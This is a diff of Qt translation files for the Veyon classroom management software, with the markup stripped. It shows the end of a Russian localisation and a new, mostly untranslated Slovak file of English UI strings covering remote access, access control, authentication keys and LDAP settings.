Тестировать + + + Network ranges + Диапазоны сети + + + Add new group + Добавить новую группу + + + Remove selected group + Удалить выделенную группу + + + Groups + Группы + + + First address + Первый адрес + + + Last address + Последний адрес + + + Add new network range + Добавить новый диапазон сети + + + Remove selected network range + Удалить выделенный диапазон сети + + + Parallel scans + Параллельное сканирование + + + Scan timeout + Время ожидания сканирования + + + ms + мс + + + Session scan limit + Ограничение сканирования сеансов + + + New group + Новая группа + + + Options + Параметры + + + Reverse lookup discovered IP addresses to host names + Обратным поиском определены IP-адреса для названий узлов + + + + NetworkDiscoveryDirectory + + Scanning... + Сканирование... + + + Discovered computers + Обнаруженные компьютеры + + + + NetworkDiscoveryPlugin + + Show help for specific command + Показать справку по определённой команде + + + Scan a subnet + Сканировать подсеть + + + +USAGE + +%1 scan [<SUBNET>] + + + +ИСПОЛЬЗОВАНИЕ + +%1 scan [<SUBNET>] + + + + + Network object directory which automatically discovers computers in the network + Каталог объектов сети, который автоматически обнаруживает компьютеры в сети + + + Network discovery (scan network for Veyon clients) + Обнаружение сети (поиск в сети клиентов Veyon) + + + Commands for managing the network discovery directory + Команды для управления каталогом обнаружения сети + + + + NetworkObjectTreeModel + + Room/Computer + Класс/Компьютер + + + + PasswordDialog + + Username + Имя пользователя + + + Password + Пароль + + + Veyon Logon + Вход в систему Veyon + + + Authentication error + Ошибка аутенфикации + + + Logon failed with given username and password. Please try again! + Не удалось войти, используя указанные имя пользователя и пароль. Пожалуйста, повторите попытку! + + + Please enter your username and password in order to access computers. + Пожалуйста, введите имя пользователя и пароль для доступа компьютеров. + + + + PowerControlFeaturePlugin + + Power on + Включить + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + Нажмите эту кнопку для включения всех компьютеров. Это позволит вам не включать каждый компьютер вручную. + + + Reboot + Перезагрузить + + + Click this button to reboot all computers. + Нажмите эту кнопку, чтобы перезагрузить все компьютеры. + + + Power down + Выключить + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + Нажмите эту кнопку для выключения всех компьютеров. Это позволит вам не выключать каждый компьютер вручную. + + + Power on/down or reboot a computer + Включить/выключить или перезагрузить компьютер + + + Confirm reboot + Потверждение перезагрузки + + + Confirm power down + Потверждение выключения + + + Do you really want to reboot the selected computers? + Вы действительно хотите перезагрузить выбранные компьютеры? + + + Do you really want to power down the selected computer? + Вы действительно хотите выключить выбранный компьютер? + + + Power on a computer via Wake-on-LAN (WOL) + Включить компьютер через пробуждение по сигналу из локальной сети Wake-on-LAN (WOL) + + + MAC ADDRESS + MAC-АДРЕСА + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + Эта команда транслирует пакет Wake-on-LAN (WOL) в сеть с целью включения питания на компьютере с указанным MAC-адресом. + + + Please specify the command to display help for! + Пожалуйста, укажите команду, для которой следует показать справку! + + + Invalid MAC address specified! + Указан некорректный MAC-адрес! + + + Commands for controlling power status of computers + Команды для управления состоянием питания компьютеров + + + + RemoteAccessFeaturePlugin + + Remote view + Удалённый просмотр + + + Open a remote view for a computer without interaction. + Открыть панель удалённого просмотра компьютера без вмешательства. + + + Remote control + Удалённое управление + + + Open a remote control window for a computer. + Открыть окно удалённого управления компьютером. + + + Remote access + Удалённый доступ + + + Remote view or control a computer + Удалённый просмотр или управление компьютером + + + Please enter the hostname or IP address of the computer to access: + Пожалуйста, укажите имя хоста или IP-адрес компьютера, доступ к которому необходимо получить: + + + Show help about command + Показать помощь по команде + + + + RemoteAccessWidget + + %1 - %2 Remote Access + %1 — %2, удалённый доступ + + + + RemoteAccessWidgetToolBar + + View only + Только трансляция + + + Remote control + Удалённое управление + + + Send shortcut + Отправить сокращение + + + Fullscreen + На весь экран + + + Window + В окне + + + Quit + Выход + + + Ctrl+Alt+Del + Ctrl+Alt+Del + + + Ctrl+Esc + Ctrl+Esc + + + Alt+Tab + Alt+Tab + + + Alt+F4 + Alt+F4 + + + Win+Tab + Win+Tab + + + Win + Win + + + Menu + Меню + + + Alt+Ctrl+F1 + Alt+Ctrl+F1 + + + Connecting %1 + Соединение с %1 + + + Connected. + Подключен. + + + Screenshot + Скриншот + + + + RoomSelectionDialog + + Room selection + Выбор класса + + + enter search filter... + введите фильтр поиска... + + + + Routing + + Control internet access by modifying routing table + Управление доступом к интернету путём внесения изменений в таблицы маршрутизации + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + Удалить маршруты по-умолчанию для блокировки доступа к интернету + + + Add custom route to block internet + Добавить нетипичный маршрут для блокировки интернета + + + Destination + Назначение + + + Gateway + Шлюз + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + Пожалуйста, введите программы или команды для их выполнения на выбранных компьютерах. Вы можете записать несколько программ/команд, по одной в строке. + + + Run programs + Запустить программы + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + например, "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + ScreenLockFeaturePlugin + + Lock + Заблокировать + + + Unlock + Разблокировать + + + Lock screen and input devices of a computer + Заблокировать экран и входные устройства компьютера + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + Чтобы завладеть вниманием пользователей, вы можете заблокировать их компьютеры с помощью этой кнопки. В этом режиме все устройства ввода данных будут заблокированы, а экраны станут чёрными. + + + + Screenshot + + unknown + неизвестный + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + Невозможно сделать снимок экрана, так как директория %1 не существует и не может быть создана. + + + Screenshot + Скриншот + + + + ScreenshotFeaturePlugin + + Screenshot + Скриншот + + + Use this function to take a screenshot of selected computers. + Воспользуйтесь этой возможностью для создания снимков экранов выбранных компьютеров. + + + Screenshots taken + Созданные снимки + + + Screenshot of %1 computer have been taken successfully. + Снимок экрана компьютера %1 успешно создан. + + + Take screenshots of computers and save them locally. + Создание снимков экранов компьютеров и их локальное хранение. + + + + ScreenshotManagementView + + User: + Пользователь: + + + Date: + Дата: + + + Time: + Время: + + + Show + Показать + + + Delete + Удалить + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + Здесь приведен список всех сделанных вами снимков окон. Вы можете создавать снимки экрана, выбирая пункт "Снимок экрана" в контекстном меню компьютера. Управлять снимками окон можно с помощью расположенных ниже кнопок. + + + Computer: + Компьютер: + + + + ServiceConfigurationPage + + General + Главное + + + Autostart + Автозапуск + + + Hide tray icon + Скрыть иконку в трее + + + Start service + Запустить сервис + + + Stopped + Остановлен + + + Stop service + Остановить сервис + + + State: + Состояние: + + + Enable SAS generation by software (Ctrl+Alt+Del) + Включить программное создания SAS (Ctrl+Alt+Del) + + + Network + Сеть + + + Demo server port + Порт демонстрационного сервера + + + Enable firewall exception + Включить исключения брандмауэра + + + Allow connections from localhost only + Разрешить только локальные подключения + + + Internal VNC server port + Порт внутреннего сервера VNC + + + VNC server + VNC-сервер + + + Plugin: + Плагин: + + + Restart %1 Service + Перезапуск сервиса %1 + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + Все настройки были успешно сохранены. Для того чтобы они вступили в силу необходимо перезапустить сервис %1. Перезапустить его сейчас? + + + Running + Работает + + + Feature manager port + Порт управления функциями + + + Primary service port + Порт основного сервиса + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + Включение этого пункта приведёт к тому, что сервис будет запускать процесс сервера для каждого интерактивного сеанса на компьютере. +По умолчанию эта настройка требуется для реализации поддержки терминальных серверов. + + + Multi session support (experimental) + Поддержка нескольких сеансов (экспериментальная) + + + Show notification on remote connection + Показывать оповещение по удалённому доступу + + + Show notification on failed authentication attempts + Показывать оповещение о неудачных попыткам пройти аутентификацию + + + + ServiceControl + + Starting service %1 + Запускаем сервис %1 + + + Stopping service %1 + Останавливаем сервис %1 + + + Registering service %1 + Регистрируем сервис %1 + + + Unregistering service %1 + Отменяем регистрацию сервиса %1 + + + Service control + Управление сервисам + + + + ServiceControlPlugin + + Service is running + Сервис работает + + + Service is not running + Сервис не работает + + + Configure and control Veyon service + Настройка и управление сервисом Veyon + + + Register Veyon Service + Регистрация сервиса Veyon + + + Unregister Veyon Service + Отмена регистрация сервиса Veyon + + + Start Veyon Service + Запустить сервис Veyon + + + Stop Veyon Service + Остановить сервис Veyon + + + Restart Veyon Service + Перезапустить сервис Veyon + + + Query status of Veyon Service + Определить состояние сервиса Veyon + + + Commands for configuring and controlling Veyon Service + Команды для настройки и управления сервисом Veyon + + + + ShellCommandLinePlugin + + Run command file + Запустить командный файл + + + File "%1" does not exist! + Файла "%1" не существует! + + + Interactive shell and script execution for Veyon Control + Интерактивная оболочка и средство выполнения скриптов для Управления Veyon + + + Commands for shell functionalities + Команды для возможностей оболочки + + + + SystemTrayIcon + + System tray icon + Иконка в системном трее + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + Модуль групп пользователей для групп пользователей системы + + + Default (system user groups) + По умолчанию (группы пользователей системы) + + + + TextMessageDialog + + Send text message + Послать текстовое сообщение + + + Use the field below to type your message which will be sent to all selected users. + Используйте это поле снизу для набора сообщения, которое хотите послать всем выбранным пользователям. + + + + TextMessageFeaturePlugin + + Text message + Текстовое сообщение + + + Use this function to send a text message to all users e.g. to assign them new tasks. + Используйте эту функцию для посылки текстового сообщения всем пользователям, например, сказав им о новых задачах и т. д. + + + Message from teacher + Сообщение от учителя + + + Send a message to a user + Послать сообщение пользователю + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + Включить захват с помощью полупрозрачного окна + + + Poll full screen (leave this enabled per default) + Опрос полного экрана (оставьте включенным по умолчанию) + + + Low accuracy (turbo mode) + Низкая чёткость (высокая скорость) + + + Builtin UltraVNC server configuration + Настройка встроенного сервера UltraVNC + + + Enable multi monitor support + Включить поддержку нескольких мониторов + + + Enable Desktop Duplication Engine on Windows 8 and newer + Включить двигатель дублирования рабочего стола в Windows 8 и более новых версиях + + + + UserConfig + + No write access + Нет доступа на запись + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + Не удалось сохранить ваши личные настройки! Пожалуйста, проверьте, правильно ли указан путь к файлу настроек пользователей с помощью конфигуратора %1. + + + + UserSessionControl + + User session control + Управление сеансами пользователей + + + Click this button to logout users from all computers. + Нажмите эту кнопку для выхода пользователей со всех компьютеров. + + + Confirm user logout + Потверждение выхода пользователя + + + Do you really want to logout the selected users? + Вы действительно хотите выполнить выход из системы для выбранных пользователей? + + + Logout + Выйти + + + + VeyonCore + + [OK] + [OK] + + + [FAIL] + [НЕУДАЧА] + + + Invalid command! + Неправильная команда! + + + Available commands: + Доступные команды: + + + Invalid arguments given + Даны неправильные аргументы + + + Not enough arguments given - use "%1 help" for more information + Дано недостаточно аргументов - используйте "справку %1" для большей информации + + + Unknown result! + Неизвестный результат! + + + Available modules: + Доступные модули: + + + No module specified or module not found - available modules are: + Не указан модуль или модуль не найден. Доступные модули: + + + Plugin not licensed + Плагин не лицензирован + + + INFO + ИНФОРМАЦИЯ + + + ERROR + ОШИБКА + + + licensed for + лицензировано для + + + + VeyonServiceControl + + Veyon Service + Сервис Veyon + + + + VncView + + Establishing connection to %1 ... + Восстановление соединения с %1 ... + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + Плагин, который реализует абстрактные функции на платформе Windows + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + WindowsServiceControl: сервис "%1" уже установлен. + + + WindowsServiceControl: the service "%1" could not be installed. + WindowsServiceControl: не удалось установить сервис "%1". + + + WindowsServiceControl: the service "%1" has been installed successfully. + WindowsServiceControl: сервис "%1" успешно установлен. + + + WindowsServiceControl: the service "%1" could not be uninstalled. + WindowsServiceControl: не удалось удалить сервис "%1". + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + WindowsServiceControl: сервис "%1" успешно удалён. + + + WindowsServiceControl: the start type of service "%1" could not be changed. + WindowsServiceControl: не удалось изменить тип запуска сервиса "%1". + + + WindowsServiceControl: service "%1" could not be found. + WindowsServiceControl: не удалось найти сервис "%1". + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + Настройка встроенного сервера x11vnc + + + Custom x11vnc parameters: + Нетипичные параметры x11vnc: + + + Do not use X Damage extension + Не использовать расширение X Damage + + + \ No newline at end of file diff --git a/translations/sk.ts b/translations/sk.ts new file mode 100644 index 0000000..8b2e5da --- /dev/null +++ b/translations/sk.ts @@ -0,0 +1,3815 @@ + + + AboutDialog + + About + + + + Translation + + + + License + + + + About Veyon + + + + Contributors + + + + Version: + + + + Website: + + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + + + + About %1 %2 + + + + Support Veyon project with a donation + + + + + AccessControlPage + + Computer access control + + + + Grant access to every authenticated user (default) + + + + Test + + + + Restrict access to members of certain user groups + + + + Process access control rules + + + + User groups authorized for computer access + + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + + + + Authorized user groups + + + + All groups + + + + ... + + + + Access control rules + + + + Add access control rule + + + + Remove access control rule + + + + Move selected rule down + + + + Move selected rule up + + + + Edit selected rule + + + + Enter username + + + + Please enter a user login name whose access permissions to test: + + + + Access allowed + + + + The specified user is allowed to access computers with this configuration. + + + + Access denied + + + + The specified user is not allowed to access computers with this configuration. + + + + Enable usage of domain groups + + + + User groups backend: + + + + Missing user groups backend + + + + No default user groups plugin was found. Please check your installation! + + + + + AccessControlRuleEditDialog + + Edit access control rule + + + + General + + + + enter a short name for the rule here + + + + Rule name: + + + + enter a description for the rule here + + + + Rule description: + + + + Invert all conditions ("is/has" interpreted as "is/has not") + + + + Conditions + + + + is member of group + + + + is located in room + + + + Accessing computer is localhost + + + + Accessing user is logged on user + + + + Accessing user is already connected + + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + + + + Action + + + + Allow access + + + + Deny access + + + + Ask logged on user for permission + + + + None (rule disabled) + + + + Accessing user + + + + Accessing computer + + + + Local (logged on) user + + + + Local computer + + + + Always process rule and ignore conditions + + + + No user logged on + + + + Accessing computer is located in the same room as local computer + + + + Accessing user has one or more groups in common with local (logged on) user + + + + + AccessControlRulesTestDialog + + Access control rules test + + + + Accessing user: + + + + Local computer: + + + + Accessing computer: + + + + Please enter the following user and computer information in order to test the configured ruleset. + + + + Local user: + + + + Connected users: + + + + The access in the given scenario is allowed. + + + + The access in the given scenario is denied. + + + + The access in the given scenario needs permission of the logged on user. + + + + ERROR: Unknown action + + + + Test result + + + + + AuthKeysConfigurationPage + + Authentication keys + + + + Introduction + + + + Key file directories + + + + Public key file base directory + + + + Private key file base directory + + + + ... + + + + Available authentication keys + + + + Create key pair + + + + Delete key + + + + Import key + + + + Export key + + + + Set access group + + + + Key files (*.pem) + + + + Authentication key name + + + + Please enter the name of the user group or role for which to create an authentication key pair: + + + + Do you really want to delete authentication key "%1/%2"? + + + + Please select a key to delete! + + + + Please enter the name of the user group or role for which to import the authentication key: + + + + Please select a key to export! + + + + Please select a user group which to grant access to key "%1": + + + + Please select a key which to set the access group for! + + + + Please perform the following steps to set up key file authentication: + + + + 1) Create a key pair on the master computer. + + + + 2) Set an access group whose members should be allowed to access other computers. + + + + 3) Export the public key and import it on all client computers with the same name. + + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + + + + + AuthKeysManager + + Please check your permissions. + + + + Key name contains invalid characters! + + + + Invalid key type specified! Please specify "%1" or "%2". + + + + Specified key does not exist! Please use the "list" command to list all installed keys. + + + + One or more key files already exist! Please delete them using the "delete" command. + + + + Creating new key pair for "%1" + + + + Failed to create public or private key! + + + + Newly created key pair has been saved to "%1" and "%2". + + + + Could not remove key file "%1"! + + + + Could not remove key file directory "%1"! + + + + Failed to create directory for output file. + + + + File "%1" already exists. + + + + Failed to write output file. + + + + Key "%1/%2" has been exported to "%3" successfully. + + + + Failed read input file. + + + + File "%1" does not contain a valid private key! + + + + File "%1" does not contain a valid public key! + + + + Failed to create directory for key file. + + + + Failed to write key file "%1". + + + + Failed to set permissions for key file "%1"! + + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + + + + Failed to convert private key to public key + + + + Failed to create directory for private key file "%1". + + + + Failed to save private key in file "%1"! + + + + Failed to set permissions for private key file "%1"! + + + + Failed to create directory for public key file "%1". + + + + Failed to save public key in file "%1"! + + + + Failed to set permissions for public key file "%1"! + + + + Failed to set owner of key file "%1" to "%2". + + + + Failed to set permissions for key file "%1". + + + + Key "%1" is now accessible by user group "%2". + + + + <N/A> + + + + Failed to read key file. + + + + + AuthKeysPlugin + + Create new authentication key pair + + + + Delete authentication key + + + + List authentication keys + + + + Import public or private key + + + + Export public or private key + + + + Extract public key from existing private key + + + + Set user group allowed to access a key + + + + KEY + + + + ACCESS GROUP + + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + + + + NAME + + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + + + + FILE + + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + + + + Please specify the command to display help for! + + + + TYPE + + + + PAIR ID + + + + Command line support for managing authentication keys + + + + Commands for managing authentication keys + + + + + AuthKeysTableModel + + Name + + + + Type + + + + Access group + + + + Pair ID + + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + + + + Rooms + + + + Computers + + + + Name + + + + Host address/IP + + + + MAC address + + + + Add new room + + + + Remove selected room + + + + Add new computer + + + + Remove selected computer + + + + New room + + + + New computer + + + + Builtin directory + + + + + BuiltinDirectoryPlugin + + Show help for specific command + + + + Add a room or computer + + + + Clear all rooms and computers + + + + Dump all or individual rooms and computers + + + + List all rooms and computers + + + + Remove a room or computer + + + + Import objects from given file + + + + Export objects to given file + + + + Invalid type specified. Valid values are "%1" or "%2". + + + + Type + + + + Name + + + + Host address + + + + MAC address + + + + Specified object not found. + + + + File "%1" does not exist! + + + + Can't open file "%1" for reading! + + + + Unknown argument "%1". + + + + Room "%1" + + + + Computer "%1" (host address: "%2" MAC address: "%3") + + + + Unclassified object "%1" with ID "%2" + + + + None + + + + Room + + + + Computer + + + + Root + + + + Invalid + + + + Error while parsing line %1. + + + + Network object directory which stores objects in local configuration + + + + Builtin (computers and rooms in local configuration) + + + + Commands for managing the builtin network object directory + + + + No format string or regular expression specified! + + + + Can't open file "%1" for writing! + + + + No format string specified! + + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + + Object UUID + + + + Parent UUID + + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + + + + + ComputerControlListModel + + Room: %1 + + + + Host/IP address: %1 + + + + Active features: %1 + + + + Online and connected + + + + Establishing connection + + + + Computer offline or switched off + + + + Service unreachable or not running + + + + Authentication failed or access denied + + + + Disconnected + + + + No user logged on + + + + Logged on user: %1 + + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + + + + Authentication error + + + + Remote access + + + + User "%1" at host "%2" is now accessing this computer. + + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + + + + + ComputerManagementView + + Computer management + + + + Add room + + + + Save computer/user list + + + + Select output filename + + + + CSV files (*.csv) + + + + File error + + + + Could not write the computer and users list to %1! Please check the file access permissions. + + + + Computer search + + + + + ComputerManager + + User + + + + Missing network object directory plugin + + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + + + + Computer name;Host name;User + + + + Room detection failed + + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + + + + Please specify a valid filename for the configuration export. + + + + Please specify a valid key. + + + + Specified key does not exist in current configuration! + + + + Please specify a valid value. + + + + Configure Veyon at command line + + + + Output file is not writable! + + + + Output directory is not writable! + + + + Configuration file is not readable! + + + + Clear system-wide Veyon configuration + + + + List all configuration keys and values + + + + Import configuration from given file + + + + Export configuration to given file + + + + Read and output configuration value for given key + + + + Write given value to given configuration key + + + + Unset (remove) given configuration key + + + + Commands for managing the configuration of Veyon + + + + Upgrade and save configuration of program and plugins + + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + + + + Could not configure the firewall configuration for the %1 Server. + + + + Could not configure the firewall configuration for the %1 Worker. + + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + + + + Configuration is not writable. Please check your permissions! + + + + + DemoClient + + %1 Demo + + + + + DemoConfigurationPage + + Demo server + + + + Tunables + + + + ms + + + + Key frame interval + + + + Memory limit + + + + Use multithreading (experimental) + + + + MB + + + + Update interval + + + + s + + + + + DemoFeaturePlugin + + Fullscreen demo + + + + Stop demo + + + + Window demo + + + + Give a demonstration by screen broadcasting + + + + Demo server + + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + + + + + DesktopAccessDialog + + Desktop access dialog + + + + Confirm desktop access + + + + Never for this session + + + + Always for this session + + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + + + + + DesktopServicesConfigurationPage + + Programs & websites + + + + Predefined programs + + + + Name + + + + Path + + + + Add new program + + + + Remove selected program + + + + Predefined websites + + + + Remove selected website + + + + URL + + + + New program + + + + New website + + + + + DesktopServicesFeaturePlugin + + Run program + + + + Open website + + + + Click this button to open a website on all computers. + + + + Please enter the URL of the website to open: + + + + Start programs and services in user desktop + + + + Click this button to run a program on all computers. + + + + Run program "%1" + + + + Custom program + + + + Open website "%1" + + + + Custom website + + + + + ExternalVncServer + + External VNC server + + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + + + + Port: + + + + Password: + + + + + FeatureControl + + Feature control + + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + + + + + FileTransferDialog + + File transfer + + + + Options + + + + Transfer only + + + + Transfer and open file(s) with associated program + + + + Transfer and open destination folder + + + + Files + + + + Start + + + + Overwrite existing files + + + + + FileTransferPlugin + + File transfer + + + + Click this button to transfer files from your computer to all computers. + + + + Select one or more files to transfer + + + + Transfer files to remote computer + + + + Received file "%1". + + + + Could not receive file "%1" as it already exists. + + + + Could not receive file "%1" as it could not be opened for writing! + + + + + GeneralConfigurationPage + + User interface + + + + Language: + + + + Use system language setting + + + + Veyon + + + + Logging + + + + Log file directory + + + + ... + + + + Log level + + + + Nothing + + + + Only critical messages + + + + Errors and critical messages + + + + Warnings and errors + + + + Information, warnings and errors + + + + Debug messages and everything else + + + + Limit log file size + + + + Clear all log files + + + + Log to standard error output + + + + Network object directory + + + + Backend: + + + + Update interval: + + + + %1 service + + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + + + + Log files cleared + + + + All log files were cleared successfully. + + + + Error + + + + Could not remove all log files. + + + + MB + + + + Rotate log files + + + + x + + + + seconds + + + + Write to logging system of operating system + + + + Authentication + + + + Method: + + + + Logon authentication + + + + Key file authentication + + + + + InternetAccessControlConfigurationPage + + Internet access control + + + + Backend: + + + + General settings + + + + Backend settings + + + + + InternetAccessControlPlugin + + Block access to the internet + + + + Allow access to the internet + + + + Show help about command + + + + Block internet + + + + Click this button to block access to the internet. + + + + Unblock internet + + + + Click this button to allow access to the internet. + + + + Control access to the internet + + + + Commands for controlling access to the internet + + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + + + + No LDAP error description available + + + + + LdapConfigurationPage + + LDAP + + + + Basic settings + + + + General + + + + LDAP server and port + + + + Bind DN + + + + Bind password + + + + Anonymous bind + + + + Use bind credentials + + + + Test + + + + Base DN + + + + Fixed base DN + + + + e.g. dc=example,dc=org + + + + Discover base DN by naming context + + + + e.g. namingContexts or defaultNamingContext + + + + Environment settings + + + + Object trees + + + + Computer tree + + + + e.g. OU=Groups + + + + User tree + + + + e.g. OU=Users + + + + e.g. OU=Computers + + + + Group tree + + + + Perform recursive search operations in object trees + + + + Object attributes + + + + e.g. hwAddress + + + + Computer host name attribute + + + + e.g. member or memberUid + + + + User login attribute + + + + e.g. dNSHostName + + + + Computer MAC address attribute + + + + Group member attribute + + + + e.g. uid or sAMAccountName + + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + + + + Advanced settings + + + + Optional object filters + + + + Filter for user groups + + + + Filter for users + + + + Filter for computer groups + + + + Group member identification + + + + Distinguished name (Samba/AD) + + + + Configured attribute for user login or computer host name (OpenLDAP) + + + + List all groups of a user + + + + List all groups of a computer + + + + Get computer object by IP address + + + + LDAP connection failed + + + + LDAP bind failed + + + + LDAP bind successful + + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + + + + LDAP base DN test failed + + + + LDAP base DN test successful + + + + LDAP naming context test failed + + + + LDAP naming context test successful + + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + + + + user tree + + + + group tree + + + + computer tree + + + + Enter username + + + + Please enter a user login name (wildcards allowed) which to query: + + + + user objects + + + + user login attribute + + + + Enter group name + + + + Please enter a group name whose members to query: + + + + group members + + + + group member attribute + + + + Group not found + + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + + + + Enter computer name + + + + Please enter a computer host name to query: + + + + Invalid host name + + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + + + + computer objects + + + + computer host name attribute + + + + Enter computer DN + + + + Please enter the DN of a computer whose MAC address to query: + + + + computer MAC addresses + + + + computer MAC address attribute + + + + users + + + + user groups + + + + computer groups + + + + Please enter a user login name whose group memberships to query: + + + + groups of user + + + + user login attribute or group membership attribute + + + + User not found + + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + + + + Enter host name + + + + Please enter a computer host name whose group memberships to query: + + + + groups of computer + + + + computer host name attribute or group membership attribute + + + + Computer not found + + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + + + + Enter computer IP address + + + + Please enter a computer IP address which to resolve to an computer object: + + + + Host name lookup failed + + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + + + + computers + + + + LDAP %1 test failed + + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + + + + LDAP %1 test successful + + + + The %1 has been queried successfully and %2 entries were found. + + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + + + + %1 %2 have been queried successfully: + +%3 + + + + LDAP filter test failed + + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + + + + LDAP filter test successful + + + + %1 %2 have been queried successfully using the configured filter. + + + + (only if different from group tree) + + + + Computer group tree + + + + computer group tree + + + + Filter for computers + + + + e.g. room or computerLab + + + + List all members of a computer room + + + + List all computer rooms + + + + Enter computer room name + + + + Please enter the name of a computer room (wildcards allowed): + + + + computer rooms + + + + computer room attribute + + + + Please enter the name of a computer room whose members to query: + + + + computer room members + + + + computer group filter or computer room member aggregation + + + + Computer rooms + + + + Integration tests + + + + Computer room attribute + + + + Aggregate computers in a room via: + + + + Computer groups + + + + Computer room attribute in computer objects + + + + Test not applicable + + + + Computer room name attribute + + + + e.g. name or description + + + + Filter for computer containers + + + + Computer containers or OUs + + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. 